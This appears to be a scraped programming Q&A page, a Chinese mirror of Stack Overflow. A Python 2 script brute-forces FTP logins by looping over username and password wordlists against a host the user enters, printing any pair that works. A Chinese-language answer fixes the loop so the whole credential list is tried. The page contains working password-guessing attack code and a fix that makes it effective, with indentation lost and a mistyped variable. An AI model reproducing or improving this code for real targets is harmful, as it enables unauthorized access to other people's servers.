from ftplib import FTP
h=raw_input("Enter Host")
ftp = FTP(h)
fobj = open("passwords.txt",'r')
fob1 = open("usernames.txt",'r')
for unm in fob1:
i= unm.rstrip()
for pas in fobj:
p= pas.rstrip()
try:
print"trying :",i,p
ftp.login(i,p)
print "USER AND PASSWORD FOUND",u,p
except:
pass
fobj.close()
fob1.close(
)
答案 0 :(得分:0)
看起来你的close()语句在错误的位置?也许只是缩进中的错误?
您可以在内部循环(密码)之后关闭文件,然后在重新使用新用户名时重新打开。这应该会强制重置到顶部。
un_file = open("usernames.txt",'r')
for unm in un_file:
i= unm.rstrip()
pw_file = open("passwords.txt",'r')
for pas in pw_file:
p= pas.rstrip()
try:
print"trying :",i,p
ftp.login(i,p)
print "USER AND PASSWORD FOUND",u,p
except:
pass
pw_file.close()
un_file.close()